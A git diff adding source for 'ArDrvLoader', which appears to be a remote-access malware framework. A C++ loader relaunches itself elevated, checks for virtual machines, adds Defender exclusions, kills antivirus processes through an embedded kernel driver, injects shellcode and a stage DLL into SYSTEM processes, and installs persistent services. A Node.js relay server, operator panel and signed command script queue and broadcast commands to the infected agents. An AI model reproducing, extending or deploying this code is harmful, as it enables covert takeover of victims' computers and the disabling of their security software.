!HasCommandArg(argc, argv, L"--elevated")) + { + // One UAC, first run. After this the services hold the privileges. + if (!RelaunchElevated(argc, argv)) + return 1; + + return 0; + } + + int vm = VmGate(argc, argv); + + if (vm >= 0) + return vm; + + if (argc >= 2 && _wcsicmp(argv[1], L"-enroll") == 0) + return RunEnroll(argc, argv); + + if (argc >= 2 && _wcsicmp(argv[1], L"-excl") == 0) + { + if (argc < 3) + { + wprintf(L"Usage: ArDrvLoader.exe -excl list|add |apply\n"); + return 1; + } + + if (_wcsicmp(argv[2], L"list") == 0) + { + std::wstring note; + std::vector current = QueryExclusions(note); + + wprintf(L"defender=%s current=%s\n", DefenderPresent() ? L"present" : L"absent", note.c_str()); + wprintf(L"%s\n", FormatExclusionList(current).c_str()); + return 0; + } + + if (_wcsicmp(argv[2], L"add") == 0 && argc >= 4) + { + std::vector paths = LoadExclusionList(); + paths.push_back(argv[3]); + + bool saved = SaveExclusionList(paths); + + std::wstring report; + bool applied = ApplyExclusions(paths, report); + + wprintf(L"%s%s\n%s\n", + saved ? L"saved" : L"save-failed", + applied ? L" applied" : L" refused", + report.c_str()); + + return applied ? 0 : 1; + } + + if (_wcsicmp(argv[2], L"apply") == 0) + { + std::vector paths = LoadExclusionList(); + + if (paths.empty()) + { + paths = DefaultExclusionPaths(); + SaveExclusionList(paths); + } + + std::wstring report; + bool applied = ApplyExclusions(paths, report); + + wprintf(L"%s\n%s\n", applied ? L"applied" : L"refused", report.c_str()); + return applied ? 0 : 1; + } + + wprintf(L"Usage: ArDrvLoader.exe -excl list|add |apply\n"); + return 1; + } + + if (argc >= 2 && _wcsicmp(argv[1], L"-drv") == 0) + { + if (argc < 3) + { + wprintf(L"Usage: ArDrvLoader.exe -drv status|extract |kill \n"); + return 1; + } + + if (_wcsicmp(argv[2], L"status") == 0) + { + bool open = OpenDriver(); + CloseDriver(); + + DWORD fails = 0; + DWORD failMax = 3; + std::wstring state = L"unset"; + + HKEY h = nullptr; + + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, KEY_READ, &h) == ERROR_SUCCESS) + { + DWORD type = 0; + DWORD size = sizeof(fails); + DWORD v = 0; + + if (RegQueryValueExW(h, L"DriverFailCount", nullptr, &type, (LPBYTE)&v, &size) == ERROR_SUCCESS && type == REG_DWORD) + fails = v; + + size = sizeof(failMax); + v = 0; + + if (RegQueryValueExW(h, L"DriverFailMax", nullptr, &type, (LPBYTE)&v, &size) == ERROR_SUCCESS && type == REG_DWORD) + failMax = v; + + wchar_t buf[64]{}; + size = sizeof(buf); + + if (RegQueryValueExW(h, L"DriverState", nullptr, &type, (LPBYTE)buf, &size) == ERROR_SUCCESS && type == REG_SZ) + state = buf; + + RegCloseKey(h); + } + + wprintf(L"device=%s embedded=%lu bytes fail=%lu/%lu state=%s\n", + open ? L"ok" : L"unavailable", + EmbeddedDriverSize(), + fails, + failMax, + state.c_str()); + + return open ? 0 : 1; + } + + if (_wcsicmp(argv[2], L"reset") == 0) + { + HKEY h = nullptr; + + if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, nullptr, 0, KEY_SET_VALUE, nullptr, &h, nullptr) + != ERROR_SUCCESS) + { + wprintf(L"ERR registry write denied\n"); + return 1; + } + + DWORD zero = 0; + RegSetValueExW(h, L"DriverFailCount", 0, REG_DWORD, (const BYTE*)&zero, sizeof(zero)); + + const wchar_t* state = L"reset"; + RegSetValueExW(h, L"DriverState", 0, REG_SZ, (const BYTE*)state, + (DWORD)((wcslen(state) + 1) * sizeof(wchar_t))); + + RegCloseKey(h); + wprintf(L"OK counters cleared\n"); + return 0; + } + + if (_wcsicmp(argv[2], L"extract") == 0 && argc >= 4) + { + bool ok = WriteEmbeddedDriverTo(argv[3]); + wprintf(L"%s %s\n", ok ? L"OK" : L"ERR", argv[3]); + return ok ? 0 : 1; + } + + if (_wcsicmp(argv[2], L"kill") == 0 && argc >= 4) + { + DWORD pid = (DWORD)wcstoul(argv[3], nullptr, 10); + + if (!OpenDriver()) + { + wprintf(L"ERR driver device unavailable\n"); + return 1; + } + + bool ok = TerminateProcessViaDriver(pid); + CloseDriver(); + + wprintf(L"%s pid=%lu\n", ok ? L"OK" : L"ERR", pid); + return ok ? 0 : 1; + } + + wprintf(L"Usage: ArDrvLoader.exe -drv status|extract |kill \n"); + return 1; + } + + if (argc >= 2 && + (_wcsicmp(argv[1], L"-killav") == 0 || _wcsicmp(argv[1], L"--killav") == 0)) + { + bool dryRun = false; + bool force = false; + std::vector names; + + for (int i = 2; i < argc; ++i) + { + if (_wcsicmp(argv[i], L"--dry-run") == 0) + dryRun = true; + + if (_wcsicmp(argv[i], L"--force") == 0) + force = true; + + if (_wcsicmp(argv[i], L"--name") == 0 && i + 1 < argc) + names.emplace_back(argv[++i]); + } + + std::wstring summary; + + if (names.empty()) + { + if (!dryRun) + EnsureDriverLoaded(); + + KillAVProcessesEx(dryRun, summary); + } + else + { + KillReport report; + KillProcessesSafe(names, dryRun, 16, report, force); + summary = report.Format(); + } + + wprintf(L"%s\n", summary.c_str()); + return 0; + } + + if (argc >= 2 && _wcsicmp(argv[1], L"-stage") == 0) + { + if (argc < 3) + { + wprintf(L"Usage: ArDrvLoader.exe -stage status|inject|run|stop [args]\n"); + return 1; + } + + if (_wcsicmp(argv[2], L"status") == 0) + { + wprintf(L"%s\n", FormatStageStatus().c_str()); + return 0; + } + + if (_wcsicmp(argv[2], L"inject") == 0) + { + std::wstring preferred; + std::wstring dll; + bool requireSystem = true; + + for (int i = 3; i < argc; ++i) + { + if (_wcsicmp(argv[i], L"--any-host") == 0) + requireSystem = false; + else if (_wcsicmp(argv[i], L"--host") == 0 && i + 1 < argc) + preferred = argv[++i]; + else if (argv[i][0] != L'-' && dll.empty()) + dll = argv[i]; + } + + HostInjectResult r = StageInject(dll, preferred, requireSystem); + wprintf(L"%s\n", FormatInjectResult(r).c_str()); + + if (r.ok && StageAlive()) + wprintf(L"stage: %s\n", FormatStageStatus().c_str()); + + return r.ok ? 0 : 1; + } + + if (_wcsicmp(argv[2], L"whoami") == 0) + { + std::wstring response; + + if (!StageSend(L"WHOAMI", response)) + { + wprintf(L"ERR stage not reachable\n"); + return 1; + } + + wprintf(L"%s\n", response.c_str()); + return 0; + } + + if (_wcsicmp(argv[2], L"run") == 0) + { + if (argc < 4) + { + wprintf(L"Usage: ArDrvLoader.exe -stage run \n"); + return 1; + } + + std::wstring cmd; + + for (int i = 3; i < argc; ++i) + { + if (!cmd.empty()) + cmd += L" "; + + cmd += argv[i]; + } + + std::wstring response; + + if (!StageSend(L"RUN " + cmd, response)) + { + wprintf(L"ERR stage not reachable\n"); + return 1; + } + + wprintf(L"%s\n", response.c_str()); + return 0; + } + + if (_wcsicmp(argv[2], L"stop") == 0) + { + std::wstring response; + + if (!StageSend(L"STOP", response)) + { + wprintf(L"ERR stage not reachable\n"); + return 1; + } + + wprintf(L"%s\n", response.c_str()); + return 0; + } + + wprintf(L"Unknown -stage subcommand\n"); + return 1; + } + + if (argc >= 3 && _wcsicmp(argv[1], L"-host") == 0) + { + if (_wcsicmp(argv[2], L"track") == 0) + { + wprintf(L"%s\n", FormatHostTrack(LoadHostTrack()).c_str()); + return 0; + } + + if (_wcsicmp(argv[2], L"untrack") == 0) + { + wprintf(L"%s\n", ClearHostTrack() ? L"cleared" : L"nothing to clear"); + return 0; + } + + if (_wcsicmp(argv[2], L"ensure") == 0 || _wcsicmp(argv[2], L"inject") == 0) + { + const bool ensureMode = (_wcsicmp(argv[2], L"ensure") == 0); + + std::wstring path; + std::wstring preferred; + bool requireSystem = true; + bool expectHostValue = false; + + for (int k = 3; k < argc; ++k) + { + if (expectHostValue) + { + preferred = argv[k]; + expectHostValue = false; + continue; + } + + if (_wcsicmp(argv[k], L"--any-host") == 0) + { + requireSystem = false; + continue; + } + + if (_wcsicmp(argv[k], L"--host") == 0 && k + 1 < argc) + { + expectHostValue = true; + continue; + } + + if (argv[k][0] != L'-' && path.empty()) + path = argv[k]; + } + + if (!ensureMode && path.empty()) + { + wprintf(L"Usage: ArDrvLoader.exe -host inject [--host ] [--any-host]\n"); + return 1; + } + + HostInjectResult r = ensureMode + ? EnsureHostInjected(requireSystem) + : InjectShellcodeIntoHost(path, preferred, requireSystem); + + wprintf(L"%s\n", FormatInjectResult(r).c_str()); + return r.ok ? 0 : 1; + } + + if (_wcsicmp(argv[2], L"list") == 0) + { + bool any = false; + + for (int i = 3; i < argc; ++i) + { + if (_wcsicmp(argv[i], L"--any") == 0) + any = true; + } + + wprintf(L"%s\n", FormatHostList(EnumerateHosts(!any)).c_str()); + return 0; + } + + if (_wcsicmp(argv[2], L"spawn") == 0 || _wcsicmp(argv[2], L"spawn-user") == 0) + { + if (argc < 4) + { + wprintf(L"Usage: ArDrvLoader.exe -host spawn [--host ] [args]\n"); + return 1; + } + + const bool userSession = (_wcsicmp(argv[2], L"spawn-user") == 0); + + int i = 3; + std::wstring preferred; + bool requireSystem = true; + + for (int k = 3; k < argc; ++k) + { + if (_wcsicmp(argv[k], L"--any-host") == 0) + requireSystem = false; + } + + if (_wcsicmp(argv[i], L"--host") == 0 && i + 1 < argc) + { + preferred = argv[i + 1]; + i += 2; + } + + while (i < argc && argv[i][0] == L'-') + ++i; + + if (i >= argc) + { + wprintf(L"Usage: ArDrvLoader.exe -host spawn [--host ] [args]\n"); + return 1; + } + + std::wstring exe = argv[i++]; + std::wstring args; + + for (; i < argc; ++i) + { + if (!args.empty()) + args += L" "; + + args += argv[i]; + } + + std::wstring cmd = exe; + + if (cmd.find(L' ') != std::wstring::npos && cmd.front() != L'"') + cmd = L"\"" + cmd + L"\""; + + if (!args.empty()) + { + cmd += L" "; + cmd += args; + } + + SpawnResult r = SpawnThroughHost(cmd, preferred, userSession, requireSystem); + wprintf(L"%s\n", FormatSpawnResult(r).c_str()); + return r.ok ? 0 : 1; + } + + wprintf(L"Usage: ArDrvLoader.exe -host list | spawn [--host ] [args] | spawn-user ...\n"); + return 1; + } + + // Double-click with no arguments: bootstrap using build-time defaults. + if (argc < 2) + return RunBootstrap(argc, argv); + + if (argc >= 2 && + (_wcsicmp(argv[1], L"-install-guard-services") == 0 || + _wcsicmp(argv[1], L"--install-guard-services") == 0)) + { + return InstallGuardServices(argc, argv); + } + + if (argc >= 2 && + (_wcsicmp(argv[1], L"-bootstrap") == 0 || + _wcsicmp(argv[1], L"--bootstrap") == 0)) + { + return RunBootstrap(argc, argv); + } + + if (argc >= 3 && + (_wcsicmp(argv[1], L"-service") == 0 || _wcsicmp(argv[1], L"--service") == 0)) + { + return RunGuardService(argc, argv); + } + + if (argc >= 2 && + (_wcsicmp(argv[1], L"-cloud-service") == 0 || _wcsicmp(argv[1], L"--cloud-service") == 0)) + { + return RunCloudService(argc, argv); + } + + if (argc >= 2 && + (_wcsicmp(argv[1], L"-cloud") == 0 || _wcsicmp(argv[1], L"--cloud") == 0)) + { + return RunCloudAgent(argc, argv); + } + + return RunLoader(argc, argv); +} + + diff --git a/resource.h b/resource.h new file mode 100644 index 0000000..59a896e --- /dev/null +++ b/resource.h @@ -0,0 +1,9 @@ +#pragma once + +// Embedded driver image (ardrv.sys) packed as an RCDATA resource. +// Only compiled in when ardrv.sys sits next to the project at build time. +#define IDR_ARDRV_SYS 101 + +// Embedded stage payload (ardrvstage.dll). Only compiled in when the DLL was +// built and copied next to the project first - see build.ps1. +#define IDR_STAGE_DLL 102 diff --git a/send-command.ps1 b/send-command.ps1 new file mode 100644 index 0000000..035d28a --- /dev/null +++ b/send-command.ps1 @@ -0,0 +1,67 @@ +param( + [Parameter(Mandatory = $true)] + [string]$Worker, + + [Parameter(Mandatory = $true)] + [string]$Agent, + + [Parameter(Mandatory = $true)] + [string]$Secret, + + [Parameter(Mandatory = $true)] + [string]$Command +) + +# Signs requests exactly like the agent does: +# hex(HMAC-SHA256(secret, agent \n ts \n METHOD \n path+query \n sha256hex(body))) +# No secret is ever placed in a URL. + +$ErrorActionPreference = "Stop" + +$base = $Worker.TrimEnd('/') +$bodyBytes = [System.Text.Encoding]::UTF8.GetBytes($Command) + +function Get-Sha256Hex([byte[]]$Bytes) +{ + $sha = [System.Security.Cryptography.SHA256]::Create() + + try + { + $stream = New-Object System.IO.MemoryStream(, $Bytes) + return ([BitConverter]::ToString($sha.ComputeHash($stream)) -replace "-", "").ToLower() + } + finally { $sha.Dispose() } +} + +function Get-HmacHex([string]$Key, [string]$Message) +{ + $hmac = New-Object System.Security.Cryptography.HMACSHA256 + + try + { + $hmac.Key = [System.Text.Encoding]::UTF8.GetBytes($Key) + $hash = $hmac.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Message)) + return ([BitConverter]::ToString($hash) -replace "-", "").ToLower() + } + finally { $hmac.Dispose() } +} + +$ts = [string][DateTimeOffset]::UtcNow.ToUnixTimeSeconds() +$canonical = "$Agent`n$ts`nPOST`nenqueue`n$(Get-Sha256Hex $bodyBytes)" +$sign = Get-HmacHex $Secret $canonical + +$headers = @{ + "X-Agent-Id" = $Agent + "X-Agent-Ts" = $ts + "X-Agent-Sign" = $sign +} + +$response = Invoke-WebRequest ` + -Method Post ` + -Uri "$base/enqueue" ` + -Body $bodyBytes ` + -ContentType "application/octet-stream" ` + -Headers $headers ` + -UseBasicParsing + +$response.Content diff --git a/server/.env.example b/server/.env.example new file mode 100644 index 0000000..cd01339 --- /dev/null +++ b/server/.env.example @@ -0,0 +1,21 @@ +# Relay server environment (node server/server.js). +# Copy to server/.env or set these in your process manager. + +PORT=8790 +DATA_DIR=./data +PANEL_PATH=../cloudflare/panel.html + +# Master key. Agent keys are derived from it; it is never sent to agents. +AGENT_SECRET=testsecret + +# Panel / operator API key. +OPERATOR_KEY=testop + +# One-time enrollment token handed out by the operator. +ENROLL_SECRET=testenroll + +# Accept the shared master key during migration. Off by default. +LEGACY_MASTER_AUTH=false + +# When set, the Worker must send X-Proxy-Secret with every request. +PROXY_SECRET=proxys3cret diff --git a/server/panel.html b/server/panel.html new file mode 100644 index 0000000..19822a3 --- /dev/null +++ b/server/panel.html @@ -0,0 +1,924 @@ + + + + + +agent control + + + + +
+
+

Agent Control

+ + + +
+
+
+ +
+
+
agent control
+
connecting
+
+
+ + + +
+ +
+ + +
+
+
Select an agent on the left to open a console.
+ +
+
+ +
+ + +
+ + +
+ +
+ + + + + + + + + + + + + +
timeagentcommandstatebyresulttook
+ +
+ + + +
+
+
+
+ +
+ + + + diff --git a/server/server.js b/server/server.js new file mode 100644 index 0000000..a18c863 --- /dev/null +++ b/server/server.js @@ -0,0 +1,492 @@ +// Relay server for ArDrvLoader agents. +// +// The Cloudflare Worker is only a proxy in front of this process; all state, +// auth and the panel live here. Node >= 22 for node:sqlite. +// +// node server.js +// +// Env: +// PORT listen port (default 8790) +// DATA_DIR sqlite + payloads (default ./data) +// PANEL_PATH panel.html (default ../cloudflare/panel.html) +// AGENT_SECRET master key for agent key derivation +// OPERATOR_KEY panel / operator API key +// ENROLL_SECRET enrollment token +// LEGACY_MASTER_AUTH "true" accepts the shared key during rollout +// PROXY_SECRET when set, requests must carry X-Proxy-Secret + +const http = require("node:http"); +const fs = require("node:fs"); +const path = require("node:path"); +const crypto = require("node:crypto"); +const { DatabaseSync } = require("node:sqlite"); + +const PORT = Number(process.env.PORT || 8790); +const DATA_DIR = path.resolve(process.env.DATA_DIR || path.join(__dirname, "data")); +const PANEL_PATH = path.resolve(process.env.PANEL_PATH || path.join(__dirname, "panel.html")); + +const AGENT_SECRET = process.env.AGENT_SECRET || ""; +const OPERATOR_KEY = process.env.OPERATOR_KEY || ""; +const ENROLL_SECRET = process.env.ENROLL_SECRET || OPERATOR_KEY; +const PROXY_SECRET = process.env.PROXY_SECRET || ""; +const LEGACY_MASTER_AUTH = process.env.LEGACY_MASTER_AUTH === "true"; + +fs.mkdirSync(DATA_DIR, { recursive: true }); +fs.mkdirSync(path.join(DATA_DIR, "files"), { recursive: true }); + +const db = new DatabaseSync(path.join(DATA_DIR, "ardrv.sqlite")); + +db.exec("PRAGMA journal_mode=WAL"); +db.exec("PRAGMA busy_timeout=5000"); +db.exec("PRAGMA synchronous=NORMAL"); + +db.exec(` +CREATE TABLE IF NOT EXISTS agents ( + id TEXT PRIMARY KEY, + first_seen INTEGER NOT NULL, + last_seen INTEGER NOT NULL, + host TEXT, user TEXT, sid TEXT, version TEXT, + interval INTEGER, system INTEGER, tags TEXT, revoked INTEGER DEFAULT 0 +); +CREATE TABLE IF NOT EXISTS commands ( + id TEXT PRIMARY KEY, + agent TEXT NOT NULL, + text TEXT NOT NULL, + state TEXT NOT NULL, + created INTEGER NOT NULL, + sent INTEGER, finished INTEGER, + operator TEXT, result TEXT, error TEXT +); +CREATE INDEX IF NOT EXISTS idx_commands_agent ON commands(agent, created DESC); +CREATE INDEX IF NOT EXISTS idx_commands_state ON commands(state); +CREATE TABLE IF NOT EXISTS events ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + ts INTEGER NOT NULL, kind TEXT NOT NULL, agent TEXT, detail TEXT +); +`); + +const now = () => Math.floor(Date.now() / 1000); + +function hmacHex(secret, message) +{ + return crypto.createHmac("sha256", String(secret)).update(String(message)).digest("hex"); +} + +function sha256Hex(buf) +{ + return crypto.createHash("sha256").update(buf || Buffer.alloc(0)).digest("hex"); +} + +function deriveAgentSecret(agent) +{ + return hmacHex(AGENT_SECRET, "agent:" + agent); +} + +function safeEqual(a, b) +{ + const x = Buffer.from(String(a)); + const y = Buffer.from(String(b)); + return x.length === y.length && crypto.timingSafeEqual(x, y); +} + +function json(res, data, status = 200) +{ + const body = JSON.stringify(data); + res.writeHead(status, { + "Content-Type": "application/json; charset=utf-8", + "Content-Length": Buffer.byteLength(body), + "Cache-Control": "no-store" + }); + res.end(body); +} + +function text(res, body, status = 200, type = "text/plain; charset=utf-8") +{ + const buf = Buffer.isBuffer(body) ? body : Buffer.from(String(body), "utf8"); + res.writeHead(status, { "Content-Type": type, "Content-Length": buf.length, "Cache-Control": "no-store" }); + res.end(buf); +} + +function readBody(req) +{ + return new Promise((resolve, reject) => { + const chunks = []; + req.on("data", c => chunks.push(c)); + req.on("end", () => resolve(Buffer.concat(chunks))); + req.on("error", reject); + }); +} + +function authenticateAgent(req, url, body) +{ + const agent = (req.headers["x-agent-id"] || "").trim(); + const ts = (req.headers["x-agent-ts"] || "").trim(); + const sign = (req.headers["x-agent-sign"] || "").trim().toLowerCase(); + + if (!AGENT_SECRET || !agent || !ts || !sign) + return null; + + if (!/^[A-Za-z0-9._-]{1,64}$/.test(agent)) + return null; + + const tsNum = Number(ts); + + if (!Number.isFinite(tsNum) || Math.abs(now() - tsNum) > 300) + return null; + + const canonicalPath = url.pathname.replace(/^\//, "") + url.search; + const canonical = `${agent}\n${ts}\n${req.method}\n${canonicalPath}\n${sha256Hex(body)}`; + + if (safeEqual(hmacHex(deriveAgentSecret(agent), canonical), sign)) + return agent; + + if (LEGACY_MASTER_AUTH && safeEqual(hmacHex(AGENT_SECRET, canonical), sign)) + return agent; + + return null; +} + +function operatorOk(req, url) +{ + const key = req.headers["x-operator-key"] || url.searchParams.get("key") || ""; + return OPERATOR_KEY && safeEqual(key, OPERATOR_KEY); +} + +function agentRow(id) +{ + return db.prepare("SELECT * FROM agents WHERE id = ?").get(id); +} + +function poll(agent, req, res) +{ + const row = agentRow(agent); + + if (row && row.revoked) + return text(res, "revoked", 403); + + const t = now(); + + db.prepare(` + INSERT INTO agents (id, first_seen, last_seen, host, user, sid, version, interval, system) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?) + ON CONFLICT(id) DO UPDATE SET + last_seen = excluded.last_seen, + host = COALESCE(excluded.host, agents.host), + user = COALESCE(excluded.user, agents.user), + sid = COALESCE(excluded.sid, agents.sid), + version = COALESCE(excluded.version, agents.version), + interval = COALESCE(excluded.interval, agents.interval), + system = excluded.system + `).run( + agent, t, t, + req.headers["x-agent-host"] || null, + req.headers["x-agent-user"] || null, + req.headers["x-agent-sid"] || null, + req.headers["x-agent-version"] || null, + Number(req.headers["x-agent-interval"]) || null, + req.headers["x-agent-system"] === "1" ? 1 : 0 + ); + + const cmd = db.prepare(` + SELECT id, text FROM commands + WHERE agent = ? AND state = 'queued' + ORDER BY created ASC LIMIT 1 + `).get(agent); + + if (!cmd) + return text(res, "", 204); + + db.prepare("UPDATE commands SET state = 'sent', sent = ? WHERE id = ?").run(t, cmd.id); + + const b64 = Buffer.from(String(cmd.text), "utf8").toString("base64"); + text(res, cmd.id + "\n" + b64); +} + +function ack(agent, url, body, res) +{ + const id = url.searchParams.get("id") || ""; + const raw = body.toString("utf8"); + + let result = raw; + + try { result = Buffer.from(raw, "base64").toString("utf8"); } catch { } + + if (result.length > 32768) + result = result.slice(0, 32768) + "\n[truncated]"; + + db.prepare("UPDATE commands SET state='done', finished=?, result=? WHERE id=? AND agent=?") + .run(now(), result, id, agent); + + db.prepare("UPDATE agents SET last_seen=? WHERE id=?").run(now(), agent); + + text(res, "ok"); +} + +let lastPrune = 0; + +// Keeps the database from growing forever. Commands are pruned by age and by +// count, events by age. Runs at most once a minute, from the agents endpoint. +function prune() +{ + if (now() - lastPrune < 60) + return; + + lastPrune = now(); + + const cmdDays = Number(process.env.RETAIN_COMMAND_DAYS || 7); + const evtDays = Number(process.env.RETAIN_EVENT_DAYS || 30); + const maxCommands = Number(process.env.RETAIN_MAX_COMMANDS || 50000); + + db.prepare("DELETE FROM commands WHERE created < ?").run(now() - cmdDays * 86400); + db.prepare("DELETE FROM events WHERE ts < ?").run(now() - evtDays * 86400); + + db.prepare(`DELETE FROM commands WHERE id IN ( + SELECT id FROM commands ORDER BY created DESC LIMIT -1 OFFSET ? + )`).run(maxCommands); +} + +function reapStale() +{ + db.prepare("UPDATE commands SET state='queued', sent=NULL WHERE state='sent' AND sent IS NOT NULL AND sent < ?") + .run(now() - 180); +} + +function agentsPayload() +{ + reapStale(); + prune(); + + const t = now(); + const rows = db.prepare(` + SELECT a.*, (SELECT COUNT(*) FROM commands c WHERE c.agent = a.id AND c.state='queued') AS queued + FROM agents a ORDER BY a.last_seen DESC + `).all(); + + return rows.map(a => { + const interval = a.interval || 15000; + const intervalSec = Math.max(1, Math.round(interval / 1000)); + const age = t - a.last_seen; + + return { + id: a.id, host: a.host, user: a.user, sid: a.sid, version: a.version, + interval, system: !!a.system, tags: a.tags, queued: a.queued, + first_seen: a.first_seen, last_seen: a.last_seen, + age, + // interval is stored in ms, timestamps are seconds. + online: age < Math.max(intervalSec * 3, 45), + revoked: !!a.revoked + }; + }); +} + +function enqueue(agent, cmdText, operator) +{ + const id = crypto.randomUUID(); + + db.prepare("INSERT INTO commands (id, agent, text, state, created, operator) VALUES (?,?,?,?,?,?)") + .run(id, agent, cmdText, "queued", now(), operator); + + db.prepare("INSERT INTO events (ts, kind, agent, detail) VALUES (?,?,?,?)") + .run(now(), "enqueue", agent, String(cmdText).slice(0, 200)); + + return id; +} + +async function handle(req, res) +{ + const url = new URL(req.url, "http://local"); + const p = url.pathname; + + if (PROXY_SECRET && req.headers["x-proxy-secret"] !== PROXY_SECRET) + return text(res, "denied", 403); + + const body = ["GET", "HEAD"].includes(req.method) ? Buffer.alloc(0) : await readBody(req); + + if (p === "/" || p === "/panel") + { + try + { + return text(res, fs.readFileSync(PANEL_PATH), 200, "text/html; charset=utf-8"); + } + catch + { + return text(res, "panel missing at " + PANEL_PATH, 500); + } + } + + if (p.startsWith("/file/")) + { + const name = path.basename(decodeURIComponent(p.slice(6))); + const file = path.join(DATA_DIR, "files", name); + + if (!fs.existsSync(file)) + return text(res, "not found", 404); + + return text(res, fs.readFileSync(file), 200, "application/octet-stream"); + } + + if (p.startsWith("/api/")) + { + if (p !== "/api/enroll" && !operatorOk(req, url)) + return json(res, { ok: false, error: "denied" }, 403); + + if (p === "/api/enroll" && req.method === "POST") + { + const provided = req.headers["x-enroll-secret"] || ""; + + if (!ENROLL_SECRET || !safeEqual(provided, ENROLL_SECRET)) + return json(res, { ok: false, error: "enroll denied" }, 403); + + let payload; + + try { payload = JSON.parse(body.toString("utf8")); } catch { payload = null; } + + if (!payload || !/^[A-Za-z0-9._-]{1,64}$/.test(payload.agent || "")) + return json(res, { ok: false, error: "valid agent id required" }, 400); + + const t = now(); + + db.prepare(`INSERT INTO agents (id, first_seen, last_seen, revoked) VALUES (?,?,?,0) + ON CONFLICT(id) DO UPDATE SET revoked = 0`).run(payload.agent, t, t); + + db.prepare("INSERT INTO events (ts, kind, agent, detail) VALUES (?,?,?,?)") + .run(t, "enroll", payload.agent, "issued"); + + return json(res, { ok: true, agent: payload.agent, secret: deriveAgentSecret(payload.agent) }); + } + + if (p === "/api/revoke" && req.method === "POST") + { + let payload; + + try { payload = JSON.parse(body.toString("utf8")); } catch { payload = null; } + + if (!payload || !payload.agent) + return json(res, { ok: false, error: "agent required" }, 400); + + const revoked = payload.revoked === false ? 0 : 1; + + db.prepare("UPDATE agents SET revoked=? WHERE id=?").run(revoked, payload.agent); + + db.prepare("INSERT INTO events (ts, kind, agent, detail) VALUES (?,?,?,?)") + .run(now(), "revoke", payload.agent, revoked ? "revoked" : "restored"); + + return json(res, { ok: true, agent: payload.agent, revoked: !!revoked }); + } + + if (p === "/api/agents") + return json(res, { ok: true, now: now(), agents: agentsPayload() }); + + if (p === "/api/stats") + { + const counts = db.prepare("SELECT state, COUNT(*) AS n FROM commands GROUP BY state").all(); + const agents = db.prepare(` + SELECT COUNT(*) AS n, SUM(CASE WHEN last_seen > ? THEN 1 ELSE 0 END) AS online FROM agents + `).get(now() - 300); + + return json(res, { ok: true, agents: agents.n || 0, online: agents.online || 0, commands: counts }); + } + + if (p === "/api/commands") + { + const agent = url.searchParams.get("agent") || ""; + const limit = Math.min(Number(url.searchParams.get("limit") || 50), 200); + + const rows = agent + ? db.prepare(`SELECT id, agent, text, state, created, sent, finished, operator, + substr(COALESCE(result,''),1,2000) AS result + FROM commands WHERE agent=? ORDER BY created DESC LIMIT ?`).all(agent, limit) + : db.prepare(`SELECT id, agent, text, state, created, sent, finished, operator, + substr(COALESCE(result,''),1,2000) AS result + FROM commands ORDER BY created DESC LIMIT ?`).all(limit); + + return json(res, { ok: true, commands: rows }); + } + + if (p === "/api/enqueue" && req.method === "POST") + { + let payload; + + try { payload = JSON.parse(body.toString("utf8")); } catch { payload = null; } + + if (!payload || !payload.agent || !payload.text) + return json(res, { ok: false, error: "agent and text required" }, 400); + + return json(res, { ok: true, id: enqueue(payload.agent, payload.text, "panel") }); + } + + if (p === "/api/broadcast" && req.method === "POST") + { + let payload; + + try { payload = JSON.parse(body.toString("utf8")); } catch { payload = null; } + + if (!payload || !payload.text) + return json(res, { ok: false, error: "text required" }, 400); + + const t = now(); + const rows = db.prepare("SELECT id FROM agents WHERE last_seen > ?").all(t - 300); + + for (const a of rows) + enqueue(a.id, payload.text, "broadcast"); + + return json(res, { ok: true, sent: rows.length, agents: rows.map(a => a.id) }); + } + + if (p.startsWith("/api/command/")) + { + const row = db.prepare("SELECT * FROM commands WHERE id=?").get(p.slice(13)); + + return row ? json(res, { ok: true, command: row }) : json(res, { ok: false, error: "not found" }, 404); + } + + return json(res, { ok: false, error: "unknown endpoint" }, 404); + } + + if (p === "/poll" || p === "/ack" || p === "/status" || p === "/enqueue") + { + const agent = authenticateAgent(req, url, body); + + if (!agent) + return text(res, "denied", 403); + + if (p === "/poll") + return poll(agent, req, res); + + if (p === "/ack" && req.method === "POST") + return ack(agent, url, body, res); + + if (p === "/status") + { + const row = db.prepare("SELECT result FROM commands WHERE agent=? AND state='done' ORDER BY finished DESC LIMIT 1").get(agent); + const last = row && row.result ? Buffer.from(row.result, "utf8").toString("base64") : null; + return json(res, { ok: true, agent, last }); + } + + if (p === "/enqueue" && req.method === "POST") + { + const cmdText = body.toString("utf8").trim(); + + if (!cmdText) + return text(res, "empty", 400); + + return json(res, { ok: true, id: enqueue(agent, cmdText, "agent") }); + } + } + + text(res, "ok"); +} + +const server = http.createServer((req, res) => { + handle(req, res).catch(err => { + try { json(res, { ok: false, error: String(err && err.message ? err.message : err) }, 500); } catch { } + }); +}); + +server.listen(PORT, () => { + console.log(`relay server on http://127.0.0.1:${PORT}`); + console.log(`data: ${DATA_DIR}`); + console.log(`panel: ${PANEL_PATH}`); + console.log(`legacy master auth: ${LEGACY_MASTER_AUTH}`); +console.log(`journal mode: ${db.prepare("PRAGMA journal_mode").get().journal_mode}`); +}); diff --git a/stage_res.rc b/stage_res.rc new file mode 100644 index 0000000..f4df691 --- /dev/null +++ b/stage_res.rc @@ -0,0 +1,9 @@ +#include +#include "resource.h" + +// The stage payload is packed into the loader when build.ps1 has copied +// ardrvstage.dll next to this project first. Without that file the resource is +// omitted and the loader falls back to a DLL on disk. +#ifdef HAVE_STAGE_DLL +IDR_STAGE_DLL RCDATA "ardrvstage.dll" +#endif diff --git a/test-cloud.ps1 b/test-cloud.ps1 new file mode 100644 index 0000000..36ccaaa --- /dev/null +++ b/test-cloud.ps1 @@ -0,0 +1,298 @@ +# End-to-end test for the cloud agent against the local mock worker. +# +# powershell -ExecutionPolicy Bypass -File test-cloud.ps1 +# +# Requests are HMAC-SHA256 signed exactly like the agent does it. +# Exercises: PING, STATUS, DOWNLOAD, DEPLOY, bad-hash rejection, STOP. + +param( + [int]$Port = 8790, + [string]$Secret = "testsecret", + [string]$AgentId = "clitest", + [string]$OperatorKey = "testop", + [string]$Exe = "$PSScriptRoot\x64\Release\ArDrvLoader.exe" +) + +$ErrorActionPreference = "Stop" + +if (-not (Test-Path -LiteralPath $Exe)) +{ + throw "Agent binary not found: $Exe (build Release first)" +} + +$base = 